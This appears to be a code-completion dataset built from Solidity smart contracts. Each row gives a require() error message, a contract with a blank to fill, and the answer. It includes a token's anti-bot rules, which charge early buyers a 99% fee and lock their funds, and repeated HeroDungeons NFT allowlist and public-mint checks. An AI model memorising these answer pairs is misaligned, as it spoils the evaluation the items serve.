if (to != address(dexRouter) && to != address(lpPair)) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number - 2 &&
_holderLastTransferTimestamp[to] <
block.number - 2,
"_transfer:: Transfer Delay enabled. Try again later."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
_holderLastTransferTimestamp[to] = block.number;
}
}
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxBuyAmount,
"Buy transfer amount exceeds the max buy."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max Wallet Exceeded"
);
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxSellAmount,
"Sell transfer amount exceeds the max sell."
);
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max Wallet Exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap && swapEnabled && !swapping && automatedMarketMakerPairs[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = true;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
if (
(earlyBuyPenaltyInEffect() ||
(amount >= maxBuyAmount - .9 ether &&
blockForPenaltyEnd + 8 >= block.number)) &&
automatedMarketMakerPairs[from] &&
!automatedMarketMakerPairs[to] &&
!_isExcludedFromFees[to] &&
buyTotalFees > 0
) {
if (!earlyBuyPenaltyInEffect()) {
maxBuyAmount -= 1;
}
if (!flaggedAsBot[to]) {
flaggedAsBot[to] = true;
botsCaught += 1;
botBuyers.push(to);
emit CaughtEarlyBuyer(to);
}
fees = (amount * 99) / 100;
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
// on sell
else if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = (amount * sellTotalFees) / 100;
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = (amount * buyTotalFees) / 100;
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function earlyBuyPenaltyInEffect() public view returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
function removeLP(uint256 percent) external onlyOwner {
}
function transferForeignToken(address _token, address _to)
external
onlyOwner
returns (bool _sent)
{
}
// withdraw ETH if stuck or someone sends to the address
function withdrawStuckETH() external onlyOwner {
}
function setMarketingWallet(address _marketingWallet) external onlyOwner {
}
function enableTrading(uint256 blocksForPenalty) external onlyOwner {
}
function addLP(bool confirmAddLp) external onlyOwner {
}
function removeLimits() external onlyOwner {
}
function restoreLimits() external onlyOwner {
}
function resetTaxes() external onlyOwner {
}
}
| !flaggedAsBot[from]||to==owner()||to==address(0xdead),"Bots cannot transfer tokens in or out except to owner or dead address." | 70,213 | !flaggedAsBot[from]||to==owner()||to==address(0xdead) |
"Allowlist mint not started" | // SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
/// @title Dungenos for Heroes NFT
/* ERC721 Boilerplate */
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
// TODO - Swap out for Dungeons Staking contract
interface Dungeons {
// Dungeon layouts and metadata will be derived from random Crypts and Caverns dungeons
function tokenByIndex(uint256 index) external view returns (uint256);
function getLayout(uint256 tokenId) external view returns (bytes memory);
function getSize(uint256 tokenId) external view returns (uint256);
function getEnvironment(uint256 tokenId) external view returns (uint256);
function getName(uint256 tokenId) external view returns (string memory);
function getNumDoors(uint256 tokenId) external view returns (uint256);
function getNumPoints(uint256 tokenId) external view returns (uint256);
}
interface Hearts {
// Players must spend hearts to purchase dungeons.
function balanceOf(address account) external view returns (uint256);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
}
contract HeroDungeons is ERC721Enumerable, ReentrancyGuard, Ownable {
// Initialize existing deployed contracts
Dungeons internal dungeons;
Hearts internal hearts;
// Set price and supply variables
uint256 public constant maxSupply = 3333;
uint256 public claimed = 0; // Number of mints that have been claimed (to ensure we don't exceed the cap)
uint256 public price = 6000 * 10**18; // Price in HEART
bytes32 public root;
// May 14, 2022 8:00 AM PT
uint256 ALLOWLIST_START = 1652540400;
// May 15, 20200 8:00 AM PT
uint256 PUBLIC_MINT_START = 1652626800;
string BASE_URI;
string PRE_REVEAL_URI;
function updatePrice(uint256 newPrice) public onlyOwner {
}
// Store seeds for our maps
mapping(uint256 => uint256) public seeds;
// Mapping used for PRNG
uint256 internal numDungeons = 8775; // Total number of valid Crypts and Caverns dungeons
mapping(uint256 => uint256) internal _idSwaps; // TODO - Change variable name to obfuscate anyone googling the post we got this from
// Events for external website querying
event Minted(address indexed account, uint256 tokenId);
function setRoot(bytes32 _root) public onlyOwner {
}
function verify(bytes32[] memory proof, bytes32 leaf)
public
view
returns (bool)
{
}
// Keep track of number of minter per address. Max 3 for allowlist.
mapping(address => uint256) public allowlistMints;
function setAllowListTime(uint256 time) public onlyOwner {
}
function setPublicTime(uint256 time) public onlyOwner {
}
function allowlistMintActive() public view returns (bool) {
}
function publicMintActive() public view returns (bool) {
}
function allowlistMint(bytes32[] memory proof, uint256 amount)
public
payable
nonReentrant
{
require(<FILL_ME>)
require(!publicMintActive(), "Use public mint");
require(
verify(proof, keccak256(abi.encodePacked(msg.sender))),
"Not valid"
);
require(allowlistMints[msg.sender] < 3, "Max 3 per allowlisted address");
_internalMint(amount);
allowlistMints[msg.sender] += amount;
}
function publicMint(uint256 amount) public payable nonReentrant {
}
uint256 ownerMinted;
function ownerMint(uint256 amount) public payable nonReentrant onlyOwner {
}
/**
* @dev Mints a new dungeon in exchange for Hearts.
*/
function _internalMint(uint256 amount) internal {
}
function setBaseUri(string memory baseUri) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
bool revealed;
function reveal() public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
* @dev Withdraws ETH from the contract to a specified wallet
*/
function withdrawETH(address payable recipient)
public
payable
nonReentrant
onlyOwner
{
}
/**
* @dev Withdraw heart balance to specified address
*/
function withdrawHearts(address to) public payable onlyOwner {
}
/**
* @dev Proxy to retrieve dungeon layout from the Crypts and Caverns project.
*/
function getLayout(uint256 tokenId) public view returns (bytes memory) {
}
/**
* @dev Proxy to retrieve dungeon size from the Crypts and Caverns project.
*/
function getSize(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon environment from the Crypts and Caverns project.
*/
function getEnvironment(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getName(uint256 tokenId) public view returns (string memory) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getNumDoors(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getNumPoints(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Returns the tokenId withing Crypts and Caverns that this dungeon references
*/
function getCnCId(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Helper function to return invalid (broken) dungeons
*/
function getValidDungeon(uint256 seed) internal pure returns (uint256) {
}
/**
* @dev Randomly assigns a dungeon from the eligible list. Heroes dungeon will be based off this original dungeon layout.
*/
function pluckDungeon(uint256 tokenId) private returns (uint256) {
}
/* Utility Functions */
function random(
uint256 input,
uint256 min,
uint256 max
) internal pure returns (uint256) {
}
constructor(
Dungeons _dungeons,
Hearts _hearts,
string memory _prerevealUri
) ERC721("Dungeons: A Heroes NFT Collection", "HD") Ownable() {
}
}
| allowlistMintActive(),"Allowlist mint not started" | 70,218 | allowlistMintActive() |
"Use public mint" | // SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
/// @title Dungenos for Heroes NFT
/* ERC721 Boilerplate */
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
// TODO - Swap out for Dungeons Staking contract
interface Dungeons {
// Dungeon layouts and metadata will be derived from random Crypts and Caverns dungeons
function tokenByIndex(uint256 index) external view returns (uint256);
function getLayout(uint256 tokenId) external view returns (bytes memory);
function getSize(uint256 tokenId) external view returns (uint256);
function getEnvironment(uint256 tokenId) external view returns (uint256);
function getName(uint256 tokenId) external view returns (string memory);
function getNumDoors(uint256 tokenId) external view returns (uint256);
function getNumPoints(uint256 tokenId) external view returns (uint256);
}
interface Hearts {
// Players must spend hearts to purchase dungeons.
function balanceOf(address account) external view returns (uint256);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
}
contract HeroDungeons is ERC721Enumerable, ReentrancyGuard, Ownable {
// Initialize existing deployed contracts
Dungeons internal dungeons;
Hearts internal hearts;
// Set price and supply variables
uint256 public constant maxSupply = 3333;
uint256 public claimed = 0; // Number of mints that have been claimed (to ensure we don't exceed the cap)
uint256 public price = 6000 * 10**18; // Price in HEART
bytes32 public root;
// May 14, 2022 8:00 AM PT
uint256 ALLOWLIST_START = 1652540400;
// May 15, 20200 8:00 AM PT
uint256 PUBLIC_MINT_START = 1652626800;
string BASE_URI;
string PRE_REVEAL_URI;
function updatePrice(uint256 newPrice) public onlyOwner {
}
// Store seeds for our maps
mapping(uint256 => uint256) public seeds;
// Mapping used for PRNG
uint256 internal numDungeons = 8775; // Total number of valid Crypts and Caverns dungeons
mapping(uint256 => uint256) internal _idSwaps; // TODO - Change variable name to obfuscate anyone googling the post we got this from
// Events for external website querying
event Minted(address indexed account, uint256 tokenId);
function setRoot(bytes32 _root) public onlyOwner {
}
function verify(bytes32[] memory proof, bytes32 leaf)
public
view
returns (bool)
{
}
// Keep track of number of minter per address. Max 3 for allowlist.
mapping(address => uint256) public allowlistMints;
function setAllowListTime(uint256 time) public onlyOwner {
}
function setPublicTime(uint256 time) public onlyOwner {
}
function allowlistMintActive() public view returns (bool) {
}
function publicMintActive() public view returns (bool) {
}
function allowlistMint(bytes32[] memory proof, uint256 amount)
public
payable
nonReentrant
{
require(allowlistMintActive(), "Allowlist mint not started");
require(<FILL_ME>)
require(
verify(proof, keccak256(abi.encodePacked(msg.sender))),
"Not valid"
);
require(allowlistMints[msg.sender] < 3, "Max 3 per allowlisted address");
_internalMint(amount);
allowlistMints[msg.sender] += amount;
}
function publicMint(uint256 amount) public payable nonReentrant {
}
uint256 ownerMinted;
function ownerMint(uint256 amount) public payable nonReentrant onlyOwner {
}
/**
* @dev Mints a new dungeon in exchange for Hearts.
*/
function _internalMint(uint256 amount) internal {
}
function setBaseUri(string memory baseUri) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
bool revealed;
function reveal() public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
* @dev Withdraws ETH from the contract to a specified wallet
*/
function withdrawETH(address payable recipient)
public
payable
nonReentrant
onlyOwner
{
}
/**
* @dev Withdraw heart balance to specified address
*/
function withdrawHearts(address to) public payable onlyOwner {
}
/**
* @dev Proxy to retrieve dungeon layout from the Crypts and Caverns project.
*/
function getLayout(uint256 tokenId) public view returns (bytes memory) {
}
/**
* @dev Proxy to retrieve dungeon size from the Crypts and Caverns project.
*/
function getSize(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon environment from the Crypts and Caverns project.
*/
function getEnvironment(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getName(uint256 tokenId) public view returns (string memory) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getNumDoors(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getNumPoints(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Returns the tokenId withing Crypts and Caverns that this dungeon references
*/
function getCnCId(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Helper function to return invalid (broken) dungeons
*/
function getValidDungeon(uint256 seed) internal pure returns (uint256) {
}
/**
* @dev Randomly assigns a dungeon from the eligible list. Heroes dungeon will be based off this original dungeon layout.
*/
function pluckDungeon(uint256 tokenId) private returns (uint256) {
}
/* Utility Functions */
function random(
uint256 input,
uint256 min,
uint256 max
) internal pure returns (uint256) {
}
constructor(
Dungeons _dungeons,
Hearts _hearts,
string memory _prerevealUri
) ERC721("Dungeons: A Heroes NFT Collection", "HD") Ownable() {
}
}
| !publicMintActive(),"Use public mint" | 70,218 | !publicMintActive() |
"Not valid" | // SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
/// @title Dungenos for Heroes NFT
/* ERC721 Boilerplate */
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
// TODO - Swap out for Dungeons Staking contract
interface Dungeons {
// Dungeon layouts and metadata will be derived from random Crypts and Caverns dungeons
function tokenByIndex(uint256 index) external view returns (uint256);
function getLayout(uint256 tokenId) external view returns (bytes memory);
function getSize(uint256 tokenId) external view returns (uint256);
function getEnvironment(uint256 tokenId) external view returns (uint256);
function getName(uint256 tokenId) external view returns (string memory);
function getNumDoors(uint256 tokenId) external view returns (uint256);
function getNumPoints(uint256 tokenId) external view returns (uint256);
}
interface Hearts {
// Players must spend hearts to purchase dungeons.
function balanceOf(address account) external view returns (uint256);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
}
contract HeroDungeons is ERC721Enumerable, ReentrancyGuard, Ownable {
// Initialize existing deployed contracts
Dungeons internal dungeons;
Hearts internal hearts;
// Set price and supply variables
uint256 public constant maxSupply = 3333;
uint256 public claimed = 0; // Number of mints that have been claimed (to ensure we don't exceed the cap)
uint256 public price = 6000 * 10**18; // Price in HEART
bytes32 public root;
// May 14, 2022 8:00 AM PT
uint256 ALLOWLIST_START = 1652540400;
// May 15, 20200 8:00 AM PT
uint256 PUBLIC_MINT_START = 1652626800;
string BASE_URI;
string PRE_REVEAL_URI;
function updatePrice(uint256 newPrice) public onlyOwner {
}
// Store seeds for our maps
mapping(uint256 => uint256) public seeds;
// Mapping used for PRNG
uint256 internal numDungeons = 8775; // Total number of valid Crypts and Caverns dungeons
mapping(uint256 => uint256) internal _idSwaps; // TODO - Change variable name to obfuscate anyone googling the post we got this from
// Events for external website querying
event Minted(address indexed account, uint256 tokenId);
function setRoot(bytes32 _root) public onlyOwner {
}
function verify(bytes32[] memory proof, bytes32 leaf)
public
view
returns (bool)
{
}
// Keep track of number of minter per address. Max 3 for allowlist.
mapping(address => uint256) public allowlistMints;
function setAllowListTime(uint256 time) public onlyOwner {
}
function setPublicTime(uint256 time) public onlyOwner {
}
function allowlistMintActive() public view returns (bool) {
}
function publicMintActive() public view returns (bool) {
}
function allowlistMint(bytes32[] memory proof, uint256 amount)
public
payable
nonReentrant
{
require(allowlistMintActive(), "Allowlist mint not started");
require(!publicMintActive(), "Use public mint");
require(<FILL_ME>)
require(allowlistMints[msg.sender] < 3, "Max 3 per allowlisted address");
_internalMint(amount);
allowlistMints[msg.sender] += amount;
}
function publicMint(uint256 amount) public payable nonReentrant {
}
uint256 ownerMinted;
function ownerMint(uint256 amount) public payable nonReentrant onlyOwner {
}
/**
* @dev Mints a new dungeon in exchange for Hearts.
*/
function _internalMint(uint256 amount) internal {
}
function setBaseUri(string memory baseUri) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
bool revealed;
function reveal() public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
* @dev Withdraws ETH from the contract to a specified wallet
*/
function withdrawETH(address payable recipient)
public
payable
nonReentrant
onlyOwner
{
}
/**
* @dev Withdraw heart balance to specified address
*/
function withdrawHearts(address to) public payable onlyOwner {
}
/**
* @dev Proxy to retrieve dungeon layout from the Crypts and Caverns project.
*/
function getLayout(uint256 tokenId) public view returns (bytes memory) {
}
/**
* @dev Proxy to retrieve dungeon size from the Crypts and Caverns project.
*/
function getSize(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon environment from the Crypts and Caverns project.
*/
function getEnvironment(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getName(uint256 tokenId) public view returns (string memory) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getNumDoors(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getNumPoints(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Returns the tokenId withing Crypts and Caverns that this dungeon references
*/
function getCnCId(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Helper function to return invalid (broken) dungeons
*/
function getValidDungeon(uint256 seed) internal pure returns (uint256) {
}
/**
* @dev Randomly assigns a dungeon from the eligible list. Heroes dungeon will be based off this original dungeon layout.
*/
function pluckDungeon(uint256 tokenId) private returns (uint256) {
}
/* Utility Functions */
function random(
uint256 input,
uint256 min,
uint256 max
) internal pure returns (uint256) {
}
constructor(
Dungeons _dungeons,
Hearts _hearts,
string memory _prerevealUri
) ERC721("Dungeons: A Heroes NFT Collection", "HD") Ownable() {
}
}
| verify(proof,keccak256(abi.encodePacked(msg.sender))),"Not valid" | 70,218 | verify(proof,keccak256(abi.encodePacked(msg.sender))) |
"Max 3 per allowlisted address" | // SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
/// @title Dungenos for Heroes NFT
/* ERC721 Boilerplate */
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
// TODO - Swap out for Dungeons Staking contract
interface Dungeons {
// Dungeon layouts and metadata will be derived from random Crypts and Caverns dungeons
function tokenByIndex(uint256 index) external view returns (uint256);
function getLayout(uint256 tokenId) external view returns (bytes memory);
function getSize(uint256 tokenId) external view returns (uint256);
function getEnvironment(uint256 tokenId) external view returns (uint256);
function getName(uint256 tokenId) external view returns (string memory);
function getNumDoors(uint256 tokenId) external view returns (uint256);
function getNumPoints(uint256 tokenId) external view returns (uint256);
}
interface Hearts {
// Players must spend hearts to purchase dungeons.
function balanceOf(address account) external view returns (uint256);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
}
contract HeroDungeons is ERC721Enumerable, ReentrancyGuard, Ownable {
// Initialize existing deployed contracts
Dungeons internal dungeons;
Hearts internal hearts;
// Set price and supply variables
uint256 public constant maxSupply = 3333;
uint256 public claimed = 0; // Number of mints that have been claimed (to ensure we don't exceed the cap)
uint256 public price = 6000 * 10**18; // Price in HEART
bytes32 public root;
// May 14, 2022 8:00 AM PT
uint256 ALLOWLIST_START = 1652540400;
// May 15, 20200 8:00 AM PT
uint256 PUBLIC_MINT_START = 1652626800;
string BASE_URI;
string PRE_REVEAL_URI;
function updatePrice(uint256 newPrice) public onlyOwner {
}
// Store seeds for our maps
mapping(uint256 => uint256) public seeds;
// Mapping used for PRNG
uint256 internal numDungeons = 8775; // Total number of valid Crypts and Caverns dungeons
mapping(uint256 => uint256) internal _idSwaps; // TODO - Change variable name to obfuscate anyone googling the post we got this from
// Events for external website querying
event Minted(address indexed account, uint256 tokenId);
function setRoot(bytes32 _root) public onlyOwner {
}
function verify(bytes32[] memory proof, bytes32 leaf)
public
view
returns (bool)
{
}
// Keep track of number of minter per address. Max 3 for allowlist.
mapping(address => uint256) public allowlistMints;
function setAllowListTime(uint256 time) public onlyOwner {
}
function setPublicTime(uint256 time) public onlyOwner {
}
function allowlistMintActive() public view returns (bool) {
}
function publicMintActive() public view returns (bool) {
}
function allowlistMint(bytes32[] memory proof, uint256 amount)
public
payable
nonReentrant
{
require(allowlistMintActive(), "Allowlist mint not started");
require(!publicMintActive(), "Use public mint");
require(
verify(proof, keccak256(abi.encodePacked(msg.sender))),
"Not valid"
);
require(<FILL_ME>)
_internalMint(amount);
allowlistMints[msg.sender] += amount;
}
function publicMint(uint256 amount) public payable nonReentrant {
}
uint256 ownerMinted;
function ownerMint(uint256 amount) public payable nonReentrant onlyOwner {
}
/**
* @dev Mints a new dungeon in exchange for Hearts.
*/
function _internalMint(uint256 amount) internal {
}
function setBaseUri(string memory baseUri) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
bool revealed;
function reveal() public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
* @dev Withdraws ETH from the contract to a specified wallet
*/
function withdrawETH(address payable recipient)
public
payable
nonReentrant
onlyOwner
{
}
/**
* @dev Withdraw heart balance to specified address
*/
function withdrawHearts(address to) public payable onlyOwner {
}
/**
* @dev Proxy to retrieve dungeon layout from the Crypts and Caverns project.
*/
function getLayout(uint256 tokenId) public view returns (bytes memory) {
}
/**
* @dev Proxy to retrieve dungeon size from the Crypts and Caverns project.
*/
function getSize(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon environment from the Crypts and Caverns project.
*/
function getEnvironment(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getName(uint256 tokenId) public view returns (string memory) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getNumDoors(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getNumPoints(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Returns the tokenId withing Crypts and Caverns that this dungeon references
*/
function getCnCId(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Helper function to return invalid (broken) dungeons
*/
function getValidDungeon(uint256 seed) internal pure returns (uint256) {
}
/**
* @dev Randomly assigns a dungeon from the eligible list. Heroes dungeon will be based off this original dungeon layout.
*/
function pluckDungeon(uint256 tokenId) private returns (uint256) {
}
/* Utility Functions */
function random(
uint256 input,
uint256 min,
uint256 max
) internal pure returns (uint256) {
}
constructor(
Dungeons _dungeons,
Hearts _hearts,
string memory _prerevealUri
) ERC721("Dungeons: A Heroes NFT Collection", "HD") Ownable() {
}
}
| allowlistMints[msg.sender]<3,"Max 3 per allowlisted address" | 70,218 | allowlistMints[msg.sender]<3 |
"Public mint not started" | // SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
/// @title Dungenos for Heroes NFT
/* ERC721 Boilerplate */
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
// TODO - Swap out for Dungeons Staking contract
interface Dungeons {
// Dungeon layouts and metadata will be derived from random Crypts and Caverns dungeons
function tokenByIndex(uint256 index) external view returns (uint256);
function getLayout(uint256 tokenId) external view returns (bytes memory);
function getSize(uint256 tokenId) external view returns (uint256);
function getEnvironment(uint256 tokenId) external view returns (uint256);
function getName(uint256 tokenId) external view returns (string memory);
function getNumDoors(uint256 tokenId) external view returns (uint256);
function getNumPoints(uint256 tokenId) external view returns (uint256);
}
interface Hearts {
// Players must spend hearts to purchase dungeons.
function balanceOf(address account) external view returns (uint256);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
}
contract HeroDungeons is ERC721Enumerable, ReentrancyGuard, Ownable {
// Initialize existing deployed contracts
Dungeons internal dungeons;
Hearts internal hearts;
// Set price and supply variables
uint256 public constant maxSupply = 3333;
uint256 public claimed = 0; // Number of mints that have been claimed (to ensure we don't exceed the cap)
uint256 public price = 6000 * 10**18; // Price in HEART
bytes32 public root;
// May 14, 2022 8:00 AM PT
uint256 ALLOWLIST_START = 1652540400;
// May 15, 20200 8:00 AM PT
uint256 PUBLIC_MINT_START = 1652626800;
string BASE_URI;
string PRE_REVEAL_URI;
function updatePrice(uint256 newPrice) public onlyOwner {
}
// Store seeds for our maps
mapping(uint256 => uint256) public seeds;
// Mapping used for PRNG
uint256 internal numDungeons = 8775; // Total number of valid Crypts and Caverns dungeons
mapping(uint256 => uint256) internal _idSwaps; // TODO - Change variable name to obfuscate anyone googling the post we got this from
// Events for external website querying
event Minted(address indexed account, uint256 tokenId);
function setRoot(bytes32 _root) public onlyOwner {
}
function verify(bytes32[] memory proof, bytes32 leaf)
public
view
returns (bool)
{
}
// Keep track of number of minter per address. Max 3 for allowlist.
mapping(address => uint256) public allowlistMints;
function setAllowListTime(uint256 time) public onlyOwner {
}
function setPublicTime(uint256 time) public onlyOwner {
}
function allowlistMintActive() public view returns (bool) {
}
function publicMintActive() public view returns (bool) {
}
function allowlistMint(bytes32[] memory proof, uint256 amount)
public
payable
nonReentrant
{
}
function publicMint(uint256 amount) public payable nonReentrant {
require(<FILL_ME>)
require(amount <= 20, "Cannot mint more than 20");
_internalMint(amount);
}
uint256 ownerMinted;
function ownerMint(uint256 amount) public payable nonReentrant onlyOwner {
}
/**
* @dev Mints a new dungeon in exchange for Hearts.
*/
function _internalMint(uint256 amount) internal {
}
function setBaseUri(string memory baseUri) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
bool revealed;
function reveal() public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
* @dev Withdraws ETH from the contract to a specified wallet
*/
function withdrawETH(address payable recipient)
public
payable
nonReentrant
onlyOwner
{
}
/**
* @dev Withdraw heart balance to specified address
*/
function withdrawHearts(address to) public payable onlyOwner {
}
/**
* @dev Proxy to retrieve dungeon layout from the Crypts and Caverns project.
*/
function getLayout(uint256 tokenId) public view returns (bytes memory) {
}
/**
* @dev Proxy to retrieve dungeon size from the Crypts and Caverns project.
*/
function getSize(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon environment from the Crypts and Caverns project.
*/
function getEnvironment(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getName(uint256 tokenId) public view returns (string memory) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getNumDoors(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getNumPoints(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Returns the tokenId withing Crypts and Caverns that this dungeon references
*/
function getCnCId(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Helper function to return invalid (broken) dungeons
*/
function getValidDungeon(uint256 seed) internal pure returns (uint256) {
}
/**
* @dev Randomly assigns a dungeon from the eligible list. Heroes dungeon will be based off this original dungeon layout.
*/
function pluckDungeon(uint256 tokenId) private returns (uint256) {
}
/* Utility Functions */
function random(
uint256 input,
uint256 min,
uint256 max
) internal pure returns (uint256) {
}
constructor(
Dungeons _dungeons,
Hearts _hearts,
string memory _prerevealUri
) ERC721("Dungeons: A Heroes NFT Collection", "HD") Ownable() {
}
}
| publicMintActive(),"Public mint not started" | 70,218 | publicMintActive() |
"amount + ownerMinted must be lte 50" | // SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
/// @title Dungenos for Heroes NFT
/* ERC721 Boilerplate */
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
// TODO - Swap out for Dungeons Staking contract
interface Dungeons {
// Dungeon layouts and metadata will be derived from random Crypts and Caverns dungeons
function tokenByIndex(uint256 index) external view returns (uint256);
function getLayout(uint256 tokenId) external view returns (bytes memory);
function getSize(uint256 tokenId) external view returns (uint256);
function getEnvironment(uint256 tokenId) external view returns (uint256);
function getName(uint256 tokenId) external view returns (string memory);
function getNumDoors(uint256 tokenId) external view returns (uint256);
function getNumPoints(uint256 tokenId) external view returns (uint256);
}
interface Hearts {
